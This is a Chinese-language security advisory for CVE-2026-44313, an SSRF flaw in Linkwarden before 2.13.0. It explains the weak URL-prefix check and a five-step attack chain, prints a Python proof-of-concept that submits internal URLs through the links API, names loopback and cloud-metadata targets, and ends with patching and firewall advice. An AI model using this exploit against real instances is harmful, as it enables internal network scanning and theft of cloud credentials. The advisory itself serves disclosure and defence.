IPBUF安全漏洞报告
English
CVE-2026-44313 CVSS 9.1 严重

CVE-2026-44313 Linkwarden服务端请求伪造漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-44313
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linkwarden

相关标签

SSRFLinkwarden服务端请求伪造CVE-2026-44313内网穿透

漏洞概述

Linkwarden 是一个自托管的开源协作书签管理器。在其 2.13.0 版本之前,存在一个严重的服务器端请求伪造(SSRF)漏洞。该漏洞位于 fetchTitleAndHeaders 函数中,由于仅检查 URL 是否以 http:// 或 https:// 开头,缺乏对内网 IP 的深度过滤,导致经过身份验证的用户可以诱导服务器向内部网络发起任意 HTTP 请求。攻击者利用此漏洞可探测内网端口、窃取敏感数据或访问云服务元数据。官方已在 2.13.0 版本中修复此问题。

技术细节

该漏洞的核心在于 Linkwarden 处理用户提供的 URL 时缺乏严格的安全校验机制。具体而言,`fetchTitleAndHeaders` 函数旨在获取用户提交链接的标题和 HTTP 头信息。开发者在编写验证逻辑时,仅采用了弱匹配方式,即仅仅检查 URL 字符串的前缀是否为 "http://" 或 "https://"。这种防御方式可以通过简单的 URL 构造绕过。攻击者可以直接在 URL 中使用 IP 地址形式(如 `http://127.0.0.1` 或 `http://169.254.169.254`)。由于这些字符串同样以 "http" 开头,验证逻辑会误判其为合法的外部链接。一旦验证通过,Linkwarden 服务器会作为代理向攻击者指定的内网地址发送 HTTP 请求。由于攻击者已通过认证(PR:L),他们可以利用此功能扫描服务器所在内网的开放端口,读取本地敏感文件或访问云厂商的元数据服务(如 AWS 的 169.254.169.254),从而获取临时凭证,导致内网沦陷。

攻击链分析

STEP 1
1. 初始访问
攻击者注册并登录到 Linkwarden 实例(PR:L,需要低权限账户)。
STEP 2
2. 漏洞利用
攻击者在创建书签或使用相关功能时,传入构造好的恶意 URL(如 http://127.0.0.1:22)。
STEP 3
3. 服务器验证
Linkwarden 服务器端的 `fetchTitleAndHeaders` 函数检查 URL 前缀,发现包含 'http://',验证通过。
STEP 4
4. 请求发送
服务器向攻击者指定的内部地址(127.0.0.1:22)发起 HTTP 请求,尝试获取标题和头信息。
STEP 5
5. 信息泄露
根据内部服务的响应,攻击者可能获取敏感信息(如 SSH Banner),确认端口开放,或利用云元数据服务窃取凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://localhost:3000/api/v1/links" # Example Linkwarden API endpoint MALICIOUS_URL = "http://127.0.0.1:8080/admin" # Internal target AUTH_TOKEN = "YOUR_SESSION_TOKEN_OR_COOKIE" # Replace with valid auth token def exploit_ssrf(): headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Payload triggering the fetchTitleAndHeaders function payload = { "name": "SSRF Test", "url": MALICIOUS_URL, "description": "Testing internal access via SSRF" } try: print(f"[*] Sending request to {TARGET_URL} with payload: {payload}") response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if the internal service was accessed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit_ssrf()

影响范围

Linkwarden < 2.13.0

防御指南

临时缓解措施
建议立即将 Linkwarden 升级至 2.13.0 或更高版本以修复此漏洞。如果无法立即升级,应在网络防火墙或主机层面限制该应用的出站连接权限,明确禁止其访问 127.0.0.1、169.254.169.254 以及 10.0.0.0/8、172.16.0.0/12、192.168.0.0/16 等内网网段。

参考链接